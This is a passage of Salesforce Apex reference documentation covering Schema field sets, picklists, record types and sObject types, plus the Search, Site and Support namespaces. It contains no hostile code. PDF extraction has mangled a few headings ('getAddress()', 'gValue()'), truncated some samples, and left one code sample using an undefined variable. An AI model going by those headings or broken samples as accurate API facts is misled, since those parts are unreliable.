Map<String, Schema.FieldSet> FsMap =
    Schema.SObjectType.Account.fieldSets.getMap();
```

Field sets are also available from sObject describe results. The following lines of code are equivalent to the prior sample:

```java
Schema.DescribeSObjectResult d =
    Account.sObjectType.getDescribe();
Map<String, Schema.FieldSet> FsMap =
    d.fieldSets.getMap();
```

To work with an individual field set, you can access it via the map of field sets on an sObject or, when you know the name of the field set in advance, using an explicit reference to the field set. The following two lines of code retrieve the same field set:

```java
Schema.FieldSet fs1 = Schema.SObjectType.Account.fieldSets.getMap().get('field_set_name');
Schema.FieldSet fs2 = Schema.SObjectType.Account.fieldSets.field_set_name;
```

Example: Displaying a Field Set on a Visualforce Page

This sample uses Schema.FieldSet and Schema.FieldSetMember methods to dynamically get all the fields in the Dimensions field set for the Merchandise custom object. The list of fields is then used to construct a SOQL query that ensures those fields are available for display. The Visualforce page uses the MerchandiseDetails class as its controller.

```java
public class MerchandiseDetails {
    public Merchandise__c merch { get; set; }

    public MerchandiseDetails() {
        this.merch = getMerchandise();
    }

    public List<Schema.FieldSetMember> getFields() {
        return SObjectType.Merchandise__c.FieldSets.Dimensions.getFields();
    }

    private Merchandise__c getMerchandise() {
        String query = 'SELECT ';
        for(Schema.FieldSetMember f : this.getFields()) {
            query += f.getFieldPath() + ', ';
        }
        query += 'Id, Name FROM Merchandise__c LIMIT 1';
        return Database.query(query);
    }
}
```

The Visualforce page using the above controller is simple:

```html
<apex:page controller="MerchandiseDetails">
    <apex:form>
```

1763
One thing to note about the above markup is the expression used to determine if a field on the form should be indicated as being a required field. A field in a field set can be required by either the field set definition, or the field’s own definition. The expression handles both cases.

**FieldSet Methods**

The following are methods for `FieldSet`. All are instance methods.

**IN THIS SECTION:**

- `getDescription()`
  Returns the field set’s description.

- `getFields()`
  Returns a list of `Schema.FieldSetMember` objects for the fields making up the field set.

- `getLabel()`
  Returns the text label that is displayed next to the field in the Salesforce user interface.

- `getName()`
  Returns the field set’s name.

- `getNamespace()`
  Returns the field set’s namespace.

- `getSObjectType()`
  Returns the `Schema.sObjectType` of the sObject containing the field set definition.

**getDescription()**

Returns the field set’s description.

**Signature**

```java
public String getDescription()
```
Return Value
Type: String

Usage
Description is a required field for a field set, intended to describe the context and content of the field set. It's often intended for administrators who might be configuring a field set defined in a managed package, rather than for end users.

getFields()
Returns a list of Schema.FieldSetMember objects for the fields making up the field set.

Signature
public List<FieldSetMember> getFields()

Return Value
Type: List<Schema.FieldSetMember>

getAddress()
Returns the text label that is displayed next to the field in the Salesforce user interface.

Signature
public String getLabel()

Return Value
Type: String

getName()
Returns the field set’s name.

Signature
public String getName()

Return Value
Type: String

getNamespace()
Returns the field set’s namespace.
Signature
public String getNamespace()

Return Value
Type: String

Usage
The returned namespace is an empty string if your organization hasn’t set a namespace, and the field set is defined in your organization. Otherwise, it’s the namespace of your organization, or the namespace of the managed package containing the field set.

getSObjectType()
Returns the Schema.sObjectType of the sObject containing the field set definition.

Signature
public Schema.SObjectType getSObjectType()

Return Value
Type: Schema.SObjectType

FieldSetMember Class
Contains methods for accessing the metadata for field set member fields.

Namespace
Schema

Usage
Use the methods in the Schema.FieldSetMember class to get details about fields contained within a field set, such as the field label, type, a dynamic SOQL-ready field path, and so on. The following example shows how to get a collection of field set member describe result objects for a specific field set on an sObject:

```java
List<Schema.FieldSetMember> fields =
    Schema.SObjectType.Account.fieldSets.getMap().get('field_set_name').getFields();
```

If you know the name of the field set in advance, you can access its fields more directly using an explicit reference to the field set:

```java
List<Schema.FieldSetMember> fields =
    Schema.SObjectType.Account.fieldSets.field_set_name.getFields();
```

SEE ALSO:
FieldSet Class
FieldSetMember Methods

The following are methods for FieldSetMember. All are instance methods.

IN THIS SECTION:

- getDBRequired()
  Returns true if the field is required by the field’s definition in its sObject, otherwise, false.

- getFieldPath()
  Returns a field path string in a format ready to be used in a dynamic SOQL query.

- getLabel()
  Returns the text label that’s displayed next to the field in the Salesforce user interface.

- getRequired()
  Returns true if the field is required by the field set, otherwise, false.

- getType()
  Returns the field’s Apex data type.

getDBRequired()

Returns true if the field is required by the field’s definition in its sObject, otherwise, false.

Signature

public Boolean getDBRequired()

Return Value

Type: Boolean

getFieldPath()

Returns a field path string in a format ready to be used in a dynamic SOQL query.

Signature

public String getFieldPath()

Return Value

Type: String

Example

See Displaying a Field Set on a Visualforce Page for an example of how to use this method.

g.getLabel()

Returns the text label that’s displayed next to the field in the Salesforce user interface.
PicklistEntry Class

Signature

public String getLabel()

Return Value

Type: String

getRequired()

Returns true if the field is required by the field set, otherwise, false.

Signature

public Boolean getRequired()

Return Value

Type: Boolean

getType()

Returns the field’s Apex data type.

Signature

public Schema.DisplayType getType()

Return Value

Type: Schema.DisplayType

PicklistEntry Class

Represents a picklist entry.

Namespace

Schema

Usage

Picklist fields contain a list of one or more items from which a user chooses a single item. They display as drop-down lists in the Salesforce user interface. One of the items can be configured as the default item.

A Schema.PicklistEntry object is returned from the field describe result using the getPicklistValues method. For example:

```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.PicklistEntry> P = F.getPicklistValues();
```
PicklistEntry Methods

The following are methods for PicklistEntry. All are instance methods.

IN THIS SECTION:

getLabel()  
Returns the display name of this item in the picklist.

getValue()  
Returns the value of this item in the picklist.

isActive()  
Returns true if this item must be displayed in the drop-down list for the picklist field in the user interface, false otherwise.

isDefaultValue()  
Returns true if this item is the default value for the picklist, false otherwise. Only one item in a picklist can be designated as the default.

getLabel()

Returns the display name of this item in the picklist.

Signature

public String getLabel()

Return Value

Type: String

gValue()

Returns the value of this item in the picklist.

Signature

public String getValue()

Return Value

Type: String

isActive()

Returns true if this item must be displayed in the drop-down list for the picklist field in the user interface, false otherwise.

Signature

public Boolean isActive()
Return Value
Type: Boolean

**isDefaultValue()**

Returns *true* if this item is the default value for the picklist, *false* otherwise. Only one item in a picklist can be designated as the default.

**Signature**

```java
public Boolean isDefaultValue()
```

Return Value
Type: Boolean

**RecordTypeInfo Class**

Contains methods for accessing record type information for an sObject with associated record types.

**Namespace**

`Schema`

**Usage**

A `RecordTypeInfo` object is returned from the sObject describe result using the `getRecordTypeInfos` method. For example:

```java
Schema.DescribeSObjectResult R = Account.SObjectType.getDescribe();
List<Schema.RecordTypeInfo> RT = R.getRecordTypeInfos();
```

In addition to the `getRecordTypeInfos` method, you can use the `getRecordTypeInfosById` and the `getRecordTypeInfosByName` methods. These methods return maps that associate `RecordTypeInfo` with record IDs and record labels, respectively.

**Example**

The following example assumes at least one record type has been created for the Account object:

```java
RecordType rt = [SELECT Id,Name FROM RecordType WHERE SobjectType='Account' LIMIT 1];
Map<Id,Schema.RecordTypeInfo> rtMapById = d.getRecordTypeInfosById();
Schema.RecordTypeInfo rtById = rtMapById.get(rt.id);
Map<String,Schema.RecordTypeInfo> rtMapByName = d.getRecordTypeInfosByName();
Schema.RecordTypeInfo rtByName = rtMapByName.get(rt.name);
System.assertEquals(rtById, rtByName);
```

**RecordTypeInfo Methods**

The following are methods for `RecordTypeInfo`. All are instance methods.

1770
IN THIS SECTION:

*getName()*
Returns the name of this record type.

*getRecordTypeId()*
Returns the ID of this record type.

*isAvailable()*
Returns `true` if this record type is available to the current user, `false` otherwise. Use this method to display a list of available record types to the user when he or she is creating a new record.

*isDefaultRecordTypeMapping()*
Returns `true` if this is the default record type mapping, `false` otherwise.

*isMaster()*
Returns `true` if this is the master record type and `false` otherwise. The master record type is the default record type that's used when a record has no custom record type associated with it.

**getName()**
Returns the name of this record type.

**Signature**

```
public String getName()
```

**Return Value**

Type: String

**getRecordTypeId()**
Returns the ID of this record type.

**Signature**

```
public ID getRecordTypeId()
```

**Return Value**

Type: ID

**isAvailable()**
Returns `true` if this record type is available to the current user, `false` otherwise. Use this method to display a list of available record types to the user when he or she is creating a new record.

**Signature**

```
public Boolean isAvailable()
```
Return Value
Type: Boolean

`isDefaultRecordTypeMapping()`
Returns `true` if this is the default record type mapping, `false` otherwise.

Signature
`public Boolean isDefaultRecordTypeMapping()`

Return Value
Type: Boolean

`isMaster()`
Returns `true` if this is the master record type and `false` otherwise. The master record type is the default record type that’s used when a record has no custom record type associated with it.

Signature
`public Boolean isMaster()`

Return Value
Type: Boolean

**SOAPType Enum**
A `Schema.SOAPType` enum value is returned by the field describe result `getSoapType` method.

**Namespace**

*Schema*

<table>
<thead>
<tr>
<th>Type Field Value</th>
<th>What the Field Object Contains</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>anytype</code></td>
<td>Any value of the following types: <code>String</code>, <code>Boolean</code>, <code>Integer</code>, <code>Double</code>, <code>ID</code>, <code>Date</code> or <code>DateTime</code>.</td>
</tr>
<tr>
<td><code>base64binary</code></td>
<td>Base64-encoded arbitrary binary data (of type <code>base64Binary</code>).</td>
</tr>
<tr>
<td><code>Boolean</code></td>
<td>Boolean (<code>true</code> or <code>false</code>) values.</td>
</tr>
<tr>
<td><code>Date</code></td>
<td>Date values.</td>
</tr>
<tr>
<td><code>DateTime</code></td>
<td>DateTime values.</td>
</tr>
<tr>
<td><code>Double</code></td>
<td>Double values.</td>
</tr>
<tr>
<td><code>ID</code></td>
<td>Primary key field for an object.</td>
</tr>
</tbody>
</table>
### Usage
For more information, see `SOAPTypes` in the *SOAP API Developer’s Guide*. For more information about the methods shared by all enums, see `Enum Methods`.

### SObjectField Class
A `Schema.sObjectField` object is returned from the field describe result using the `getController` and `getSObjectField` methods.

### Namespace
`Schema`

### Example
```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
Schema.sObjectField T = F.getSObjectField();
```

### sObjectField Methods
The following are instance methods for `sObjectField`.

**getDescribe()**
Returns the describe field result for this field.

**Signature**
```
public Schema.DescribeFieldResult getDescribe()
```

**Return Value**
Type: `Schema.DescribeFieldResult`
SOBJECType Class

A Schema.sObjectType object is returned from the field describe result using the getReferenceTo method, or from the sObject describe result using the getSObjectType method.

Namespace

Schema

Usage

```java
Schema.DescribeFieldResult F = Account.Industry.getDescribe();
List<Schema.sObjectType> P = F.getReferenceTo();
```

SOBJECType Methods

The following are methods for SOBJECType. All are instance methods.

IN THIS SECTION:

- getDescribe()
- newSObject()
- newSObject(id)
- newSObject(recordTypeId, loadDefaults)

getDescribe()

Returns the describe sObject result for this field.

**Signature**

```java
public Schema.DescribeSObjectResult getDescribe()
```

**Return Value**

Type: Schema.DescribeSObjectResult

newSObject()

Constructs a new sObject of this type.

**Signature**

```java
public sObject newSObject()
```

newSObject(id)

Constructs a new sObject of this type, with the specified ID.

**Signature**

```java
public sObject newSObject(String id)
```

newSObject(recordTypeId, loadDefaults)

Constructs a new sObject of this type, and optionally, of the specified record type ID and with default custom field values.

**Signature**

```java
public sObject newSObject(String recordTypeId, boolean loadDefaults)
```
Return Value
Type: sObject

Example
For an example, see Dynamic sObject Creation Example.

newSObject(id)
Constructs a new sObject of this type, with the specified ID.

Signature
public sObject newSObject(ID id)

Parameters
id
Type: ID

Return Value
Type: sObject

Usage
For the argument, pass the ID of an existing record in the database.
After you create a new sObject, the sObject returned has all fields set to null. You can set any updateable field to desired values and then update the record in the database. Only the fields you set new values for are updated and all other fields which are not system fields are preserved.

newSObject(recordTypeId, loadDefaults)
Constructs a new sObject of this type, and optionally, of the specified record type ID and with default custom field values.

Signature
public sObject newSObject(ID recordTypeId, Boolean loadDefaults)

Parameters
recordTypeId
Type: ID
  Specifies the record type ID of the sObject to create. If no record type exists for this sObject, use null. If the sObject has record types and you specify null, the default record type is used.
loadDefaults
Type: Boolean
  Specifies whether to populate custom fields with their predefined default values (true) or not (false).
Return Value
Type: sObject

Usage
• For required fields that have no default values, make sure to provide a value before inserting the new sObject. Otherwise, the insertion results in an error. An example is the Account Name field or a master-detail relationship field.
• Since picklists and multi-select picklists can have default values specified per record type, this method populates the default value corresponding to the record type specified.
• If fields have no predefined default values and the loadDefaults argument is true, this method creates the sObject with field values of null.
• If the loadDefaults argument is false, this method creates the sObject with field values of null.
• This method populates read-only custom fields of the new sObject with default values. You can then insert the new sObject with the read-only fields, even though these fields cannot be edited after they're inserted.
• If a custom field is marked as unique and also provides a default value, inserting more than one new sObject will cause a run-time exception because of duplicate field values.

To learn more about default field values, see “About Default Field Values” in the Salesforce online help.

Example: Creating New sObject with Default Values
This sample creates an account with any default values populated for its custom fields, if any, using the newSObject method. It also creates a second account for a specific record type. For both accounts, the sample sets the Name field, which is a required field that doesn’t have a default value, before inserting the new accounts.

```java
// Create an account with predefined default values
Account acct = (Account)Account.sObjectType.newSObject(null, true);
// Provide a value for Name
acct.Name = 'Acme';
// Insert new account
insert acct;

// This is for record type RT1 of Account
ID rtId = [SELECT Id FROM RecordType WHERE sObjectType='Account' AND Name='RT1'].Id;
Account acct2 = (Account)Account.sObjectType.newSObject(rtId, true);
// Provide a value for Name
acct2.Name = 'Acme2';
// Insert new account
insert acct2;
```

Search Namespace

The Search namespace provides classes for getting search results and suggestion results.

The following are the classes in the Search namespace.
IN THIS SECTION:

KnowledgeSuggestionFilter Class
Filter settings that narrow the results from a call to System.Search.suggest(searchQuery, sObjectType, options) when the SOSL search query contains a KnowledgeArticleVersion object.

QuestionSuggestionFilter Class
The Search.QuestionSuggestionFilter class filters results from a call to System.Search.suggest(searchQuery, sObjectType, options) when the SOSL searchQuery contains a FeedItem object.

SearchResult Class
A wrapper object that contains an sObject and search metadata.

SearchResults Class
Wraps the results returned by the Search.find(String) method.

SuggestionOption Class
Options that narrow record and article suggestion results returned from a call to System.Search.suggest(String, String, Search.SuggestionOption).

SuggestionResult Class
A wrapper object that contains an sObject.

SuggestionResults Class
Wraps the results returned by the Search.suggest(String, String, Search.SuggestionOption) method.

SEE ALSO:

find(searchQuery)
suggest(searchQuery, sObjectType, suggestions)

KnowledgeSuggestionFilter Class
Filter settings that narrow the results from a call to System.Search.suggest(searchQuery, sObjectType, options) when the SOSL search query contains a KnowledgeArticleVersion object.

Namespace
Search

KnowledgeSuggestionFilter Methods
The following are methods for KnowledgeSuggestionFilter.

IN THIS SECTION:

addArticleType(articleType)
Adds a filter that narrows suggestion results to display the specified article type. This filter is optional.

addDataCategory(dataCategoryGroupName, dataCategoryName)
Adds a filter that narrows suggestion results to display articles in the specified data category. This filter is optional.
setChannel(channelName)
Sets a channel to narrow the suggestion results to articles in the specified channel. This filter is optional.

setDataCategories(dataCategoryFilters)
Adds filters that narrow suggestion results to display articles in the specified data categories. Use this method to set multiple data category group and name pairs in one call. This filter is optional.

setLanguage(localeCode)
Sets a language to narrow the suggestion results to display articles in that language. This filter value is required in calls to System.Search.suggest(String, String, Search.SuggestionOption).

setPublishStatus(publishStatus)
Sets a publish status to narrow the suggestion results to display articles with that status. This filter value is required in calls to System.Search.suggest(String, String, Search.SuggestionOption).

setValidationStatus(validationStatus)
Sets a validation status to narrow the suggestion results to display articles with that status. This filter is optional.

addArticleType(articleType)
Adds a filter that narrows suggestion results to display the specified article type. This filter is optional.

Signature
public void addArticleType(String articleType)

Parameters
articleType
Type: String
A three-character ID prefix indicating the desired article type.

Return Value
Type: void

Usage
To add more than 1 article type, call the method multiple times.

addDataCategory(dataCategoryGroupName, dataCategoryName)
Adds a filter that narrows suggestion results to display articles in the specified data category. This filter is optional.

Signature
public void addDataCategory(String dataCategoryGroupName, String dataCategoryName)

Parameters
dataCategoryGroupName
Type: String
The name of the data category group

dataCategoryName
Type: String
The name of the data category.

Return Value
Type: void

Usage
To set multiple data categories, call the method multiple times. The name of the data category group and name of the data category for desired articles, expressed as a mapping, for example, Search.KnowledgeSuggestionFilter.addDataCategory('Regions', 'Asia').

setChannel (channelName)
Sets a channel to narrow the suggestion results to articles in the specified channel. This filter is optional.

Signature
public void setChannel(String channelName)

Parameters
channelName
Type: String
The name of a channel. Valid values are:
- AllChannels—Visible in all channels the user has access to
- App—Visible in the internal Salesforce Knowledge application
- Pkb—Visible in the public knowledge base
- Csp—Visible in the Customer Portal
- Prm—Visible in the Partner Portal

If channel isn’t specified, the default value is determined by the type of user.
- Pkb for a guest user
- Csp for a Customer Portal user
- Prm for a Partner Portal user
- App for any other type of user

If channel is specified, the specified value may not be the actual value requested, because of certain requirements.
- For guest, Customer Portal, and Partner Portal users, the specified value must match the default value for each user type. If the values don’t match or AllChannels is specified, then App replaces the specified value.
- For all users other than guest, Customer Portal, and Partner Portal users:
  - If Pkb, Csp, Prm, or App are specified, then the specified value is used.
  - If AllChannels is specified, then App replaces the specified value.
Return Value
Type: void

**setDataCategories(dataCategoryFilters)**
Adds filters that narrow suggestion results to display articles in the specified data categories. Use this method to set multiple data category group and name pairs in one call. This filter is optional.

**Signature**

```java
public void setDataCategories(Map dataCategoryFilters)
```

**Parameters**

- **dataCategoryFilters**
  Type: `Map`
  A map of data category group and data category name pairs.

Return Value
Type: void

**setLanguage(localeCode)**
Sets a language to narrow the suggestion results to display articles in that language. This filter value is required in calls to `System.Search.suggest(String, String, Search.SuggestionOption)`.

**Signature**

```java
public void setLanguage(String localeCode)
```

**Parameters**

- **localeCode**
  Type: `String`
  A locale code. For example, `en_US` (English–United States), or `es` (Spanish).

Return Value
Type: void

SEE ALSO:
Supported Locales

**setPublishStatus(publishStatus)**
Sets a publish status to narrow the suggestion results to display articles with that status. This filter value is required in calls to `System.Search.suggest(String, String, Search.SuggestionOption)`.
Signature

```java
public void setPublishStatus(String publishStatus)
```

Parameters

`publishStatus`

Type: `String`

A publish status. Valid values are:

- **Draft**—Articles aren't published in Salesforce Knowledge.
- **Online**—Articles are published in Salesforce Knowledge.
- **Archived**—Articles aren't published and are available in Archived Articles view.

`setValidationStatus(validationStatus)`

Sets a validation status to narrow the suggestion results to display articles with that status. This filter is optional.

Signature

```java
public void setValidationStatus(String validationStatus)
```

Parameters

`validationStatus`

Type: `String`

An article validation status. These values are available in the `ValidationStatus` field on the `KnowledgeArticleVersion` object.

Return Value

Type: `void`

**QuestionSuggestionFilter Class**

The `Search.QuestionSuggestionFilter` class filters results from a call to `System.Search.suggest(searchQuery, sObjectType, options)` when the SOSL `searchQuery` contains a `FeedItem` object.

**Namespace**

`Search`

**IN THIS SECTION:**

- `QuestionSuggestionFilter Methods`

**QuestionSuggestionFilter Methods**

The following are methods for `QuestionSuggestionFilter`. 
IN THIS SECTION:

`addGroupId(groupId)`
Adds a filter to display questions associated with the single specified group whose ID is passed in as an argument. This filter is optional.

`addNetworkId(networkId)`
Adds a filter to display questions associated with the single specified network whose ID is passed in as an argument. This filter is optional.

`addUserId(userId)`
Adds a filter to display questions belonging to the single specified user whose ID is passed in as an argument. This filter is optional.

`setGroupIds(groupIds)`
Sets a new list of groups to replace the current list of groups where the group IDs are passed in as an argument. This filter is optional.

`setNetworkIds(networkIds)`
Sets a new list of networks to replace the current list of networks where the network IDs are passed in as an argument. This filter is optional.

`setTopicId(topicId)`
Sets a filter to display questions associated with the single specified topic whose ID is passed in as an argument. This filter is optional.

`setUserIds(userIds)`
Sets a new list of users to replace the current list of users where the users IDs are passed in as an argument. This filter is optional.

---

**addGroupId(groupId)**

Adds a filter to display questions associated with the single specified group whose ID is passed in as an argument. This filter is optional.

**Signature**

```java
public void addGroupId(String groupId)
```

**Parameters**

- `groupId`
  - Type: `String`
  - The ID for a group.

**Return Value**

Type: `void`

**Usage**

To add more than one group, call the method multiple times.

---

**addNetworkId(networkId)**

Adds a filter to display questions associated with the single specified network whose ID is passed in as an argument. This filter is optional.
**addNetworkId(networkId)**

Signature

```java
public void addNetworkId(String networkId)
```

Parameters

- `networkId`
  - Type: `String`
  - The ID of the community about which you're retrieving this information.

Return Value

Type: `void`

Usage

To add more than one network, call the method multiple times.

**addUserId(userId)**

Adds a filter to display questions belonging to the single specified user whose ID is passed in as an argument. This filter is optional.

Signature

```java
public void addUserId(String userId)
```

Parameters

- `userId`
  - Type: `String`
  - The ID for the user.

Return Value

Type: `void`

Usage

To add more than one user, call the method multiple times.

**setGroupIds(groupIds)**

Sets a new list of groups to replace the current list of groups where the group IDs are passed in as an argument. This filter is optional.

Signature

```java
public void setGroupIds(List<String> groupIds)
```
Parameters

**groupIds**
Type: List<String>
A list of group IDs.

Return Value
Type: void

**setNetworkIds(networkIds)**
Sets a new list of networks to replace the current list of networks where the network IDs are passed in as an argument. This filter is optional.

Signature

```java
public void setNetworkIds(List<String> networkIds)
```

Parameters

**networkIds**
Type: List<String>
A list of network IDs.

Return Value
Type: void

**setTopicId(topicId)**
Sets a filter to display questions associated with the single specified topic whose ID is passed in as an argument. This filter is optional.

Signature

```java
public void setTopicId(String topicId)
```

Parameters

**topicId**
Type: String
The ID for a topic.

Return Value
Type: void

**setUserIds(userIds)**
Sets a new list of users to replace the current list of users where the users IDs are passed in as an argument. This filter is optional.
Signature

public void setUserIds(List<String> userIds)

Parameters

userIds
Type: List<String>
A list of user IDs.

Return Value
Type: void

SearchResult Class

A wrapper object that contains an sObject and search metadata.

Namespace

Search

SearchResult Methods

The following are methods for SearchResult.

IN THIS SECTION:

getSObject()  
Returns an sObject from a SearchResult object.

getSnippet(fieldName)  
Returns a snippet from a SearchResult object based on the specified field name.

getSnippet()  
Returns a snippet from a SearchResult object based on the default field.

getSObject()

Returns an sObject from a SearchResult object.

Signature

public SObject getSObject()
Return Value
Type: SObject

SEE ALSO:
    find(searchQuery)
    Dynamic SOSL

**getSnippet(fieldName)**
Returns a snippet from a SearchResult object based on the specified field name.

**Signature**

```java
public String getSnippet(String fieldName)
```

**Parameters**

*fieldName*
Type: String

The field name to use for creating the snippet.

Return Value
Type: String

SEE ALSO:
    find(searchQuery)
    Dynamic SOSL

**getSnippet()**
Returns a snippet from a SearchResult object based on the default field.

**Signature**

```java
public String getSnippet()
```

Return Value
Type: String

SEE ALSO:
    find(searchQuery)
    Dynamic SOSL
SearchResults Class

Wraps the results returned by the Search.find(String) method.

Namespace

Search

SearchResults Methods

The following are methods for SearchResults.

IN THIS SECTION:

get(sObjectType)

Returns a list of Search.SearchResult objects that contain an sObject of the specified type.

get(sObjectType)

Returns a list of Search.SearchResult objects that contain an sObject of the specified type.

Signature

public List<Search.SearchResult> get(String sObjectType)

Parameters

sObjectType
  Type: String
  The name of an sObject in the dynamic SOSL query passed to the Search.find(String) method.

Return Value

Type: List<Search.SearchResult>

Usage

SOSL queries passed to the Search.find(String) method can return results for multiple objects. For example, the query Search.find('FIND 'map' IN ALL FIELDS RETURNING Account, Contact, Opportunity') includes results for 3 objects. You can call get(string) to retrieve search results for 1 object at a time. For example, to get results for the Account object, call Search.SearchResults.get('Account').

SEE ALSO:

find(searchQuery)
SearchResult Methods
Dynamic SOSL
SuggestionOption Class

Options that narrow record and article suggestion results returned from a call to System.Search.suggest(String, String, Search.SuggestionOption).

Namespace

Search

SuggestionOption Methods

The following are methods for SuggestionOption.

IN THIS SECTION:

setFilter(knowledgeSuggestionFilter)

Set filters that narrow Salesforce Knowledge article results in a call to System.Search.suggest(String, String, Search.SuggestionOption).

setLimit(limit)

The maximum number of record or article suggestions to retrieve.

**setFilter** (knowledgeSuggestionFilter)

Set filters that narrow Salesforce Knowledge article results in a call to System.Search.suggest(String, String, Search.SuggestionOption).

**Signature**

```java
public void setFilter(Search.KnowledgeSuggestionFilter knowledgeSuggestionFilter)
```

**Parameters**

knowledgeSuggestionFilter

Type: KnowledgeSuggestionFilter

An object containing filters that narrow the search results.

**Return Value**

Type: void

**Usage**

```java
Search.KnowledgeSuggestionFilter filters = new Search.KnowledgeSuggestionFilter();
filters.setLanguage('en_US');
filters.setPublishStatus('Online');
filters.setChannel('app');
Search.SuggestionOption options = new Search.SuggestionOption();
options.setFilter(filters);
```
Search.SuggestionResults suggestionResults = Search.suggest('all', 'KnowledgeArticleVersion', options);

for (Search.SuggestionResult searchResult : suggestionResults.getSuggestionResults()) {
    KnowledgeArticleVersion article = (KnowledgeArticleVersion)result.getSObject();
    System.debug(article.title);
}

**setLimit(limit)**

The maximum number of record or article suggestions to retrieve.

**Signature**

```java
public void setLimit(Integer limit)
```

**Parameters**

- **limit**
  - Type: Integer
  - The maximum number of record or article suggestions to retrieve.

**Return Value**

Type: void

**Usage**

By default, the `System.Search.suggest(String, String, Search.SuggestionOption)` method returns the 5 most relevant results. However, if your query is broad, it could match more than 5 results. If `Search.SuggestionResults.hasMoreResults()` returns `true`, there are more than 5 results. To retrieve them, call `setLimit(Integer)` to increase the number of suggestions results.

```java
Search.SuggestionOption option = new Search.SuggestionOption();
option.setLimit(10);
Search.suggest('my query', 'mySObjectType', option);
```

**SuggestionResult Class**

A wrapper object that contains an sObject.

**Namespace**

Search

**SuggestionResult Methods**

The following are methods for SuggestionResult.
IN THIS SECTION:

`getSObject()`

Returns the sObject from a SuggestionResult object.

**getSObject()**

Returns the sObject from a SuggestionResult object.

**Signature**

```java
public SObject getSObject()
```

**Return Value**

Type: SObject

**SuggestionResults Class**

Wraps the results returned by the `Search.suggest(String, String, Search.SuggestionOption)` method.

**Namespace**

`Search`

**SuggestionResults Methods**

The following are methods for `SuggestionResults`.

IN THIS SECTION:

`getSuggestionResults()`

Returns a list of SuggestionResult objects from the response to a call to `Search.suggest(String, String, Search.SuggestionOption)`.

`hasMoreResults()`

Indicates whether a call to `System.Search.suggest(String, String, Search.SuggestionOption)` has more results available than were returned.

**getSuggestionResults()**

Returns a list of SuggestionResult objects from the response to a call to `Search.suggest(String, String, Search.SuggestionOption)`.

**Signature**

```java
public List<Search.SuggestionResult> getSuggestionResults()
```
Return Value
Type: List<SuggestionResult>

hasMoreResults()
Indicates whether a call to System.Search.suggest(String, String, Search.SuggestionOption) has more results available than were returned.

Signature
public Boolean hasMoreResults()

Return Value
Type: Boolean

Usage
If a limit isn’t specified, 5 records are returned in calls to System.Search.suggest(String, String, Search.SuggestionOption). If there are more suggested records than the limit specified, a call to hasMoreResults() returns true.

Site Namespace
The Site namespace provides an interface for rewriting Sites URLs.

Site Exceptions
The Site namespace contains an exception class.

UrlRewriter Interface
Enables rewriting Sites URLs.

Namespace
Site

Usage
Sites provides built-in logic that helps you display user-friendly URLs and links to site visitors. Create rules to rewrite URL requests typed into the address bar, launched from bookmarks, or linked from external websites. You can also create rules to rewrite the URLs for links
within site pages. URL rewriting not only makes URLs more descriptive and intuitive for users, it allows search engines to better index your site pages.

For example, let's say that you have a blog site. Without URL rewriting, a blog entry's URL might look like this:
http://myblog.force.com/posts?id=003D000000Q0PcN

To rewrite URLs for a site, create an Apex class that maps the original URLs to user-friendly URLs, and then add the Apex class to your site.

**UrlRewriter Methods**

The following are methods for `UrlRewriter`. All are instance methods.

**IN THIS SECTION:**

- `generateUrlFor(salesforceUrls)`
  Maps a list of Salesforce URLs to a list of user-friendly URLs.

- `mapRequestUrl(userFriendlyUrl)`
  Maps a user-friendly URL to a Salesforce URL.

### `generateUrlFor(salesforceUrls)`

Maps a list of Salesforce URLs to a list of user-friendly URLs.

**Signature**

```java
public System.PageReference[] generateUrlFor(System.PageReference[] salesforceUrls)
```

**Parameters**

- `salesforceUrls`
  Type: `System.PageReference[]`

**Return Value**

Type: `System.PageReference[]`

**Usage**

You can use `List<PageReference>` instead of `PageReference[]`, if you prefer.

**Important:** The size and order of the input list of Salesforce URLs must exactly correspond to the size and order of the generated list of user-friendly URLs. The `generateUrlFor` method maps input URLs to output URLs based on the order in the lists.

### `mapRequestUrl(userFriendlyUrl)`

Maps a user-friendly URL to a Salesforce URL.

**Signature**

```java
public System.PageReference mapRequestUrl(System.PageReference userFriendlyUrl)
```
Parameters

userFriendlyUrl
Type: System.PageReference

Return Value
Type: System.PageReference

Site Exceptions

The Site namespace contains an exception class.

All exception classes support built-in methods for returning the error message and exception type. See Exception Class and Built-In Exceptions.

The Site namespace contains this exception:

<table>
<thead>
<tr>
<th>Exception</th>
<th>Description</th>
<th>Methods</th>
</tr>
</thead>
<tbody>
<tr>
<td>Site.ExternalUserCreateException</td>
<td>Unable to create external user</td>
<td>Use the String getMessage() to get the error message and write it to debug log.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Use List&lt;String&gt; getDisplayMessages() to get a list of errors displayed to the end user.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>This exception can’t be subclassed or thrown in code.</td>
</tr>
</tbody>
</table>

Support Namespace

The Support namespace provides an interface used for Case Feed.

The following is the interface in the Support namespace.

IN THIS SECTION:

EmailTemplateSelector Interface
The Support.EmailTemplateSelector interface enables providing default email templates in Case Feed. With default email templates, specified email templates are preloaded for cases based on criteria such as case origin or subject.

MilestoneTriggerTimeCalculator Interface
The Support.MilestoneTriggerTimeCalculator interface calculates the time trigger for a milestone.

EmailTemplateSelector Interface

The Support.EmailTemplateSelector interface enables providing default email templates in Case Feed. With default email templates, specified email templates are preloaded for cases based on criteria such as case origin or subject.

Namespace
Support
To specify default templates, you must create a class that implements `Support.EmailTemplateSelector`. When you implement this interface, provide an empty parameterless constructor.

### EmailTemplateSelector Methods

The following are methods for `EmailTemplateSelector`.

#### `getDefaultTemplateId(caseId)`

Returns the ID of the email template to preload for the case currently being viewed in the case feed using the specified case ID.

**Signature**

```java
public ID getDefaultTemplateId(ID caseId)
```

**Parameters**

- `caseId`  
  Type: ID

**Return Value**

Type: ID

### EmailTemplateSelector Example Implementation

This is an example implementation of the `Support.EmailTemplateSelector` interface.

The `getDefaultEmailTemplateId` method implementation retrieves the subject and description of the case corresponding to the specified case ID. Next, it selects an email template based on the case subject and returns the email template ID.

```java
global class MyCaseTemplateChooser implements Support.EmailTemplateSelector {
    // Empty constructor
    global MyCaseTemplateChooser() { }

    // The main interface method
    global ID getDefaultEmailTemplateId(ID caseId) {
        // Select the case we're interested in, choosing any fields that are relevant to our decision
        Case c = [SELECT Subject, Description FROM Case WHERE Id=:caseId];
    }
}
```
if (c.subject.contains('LX-1150')) {  
et = [SELECT id FROM EmailTemplate WHERE DeveloperName = 'LX1150_template'];
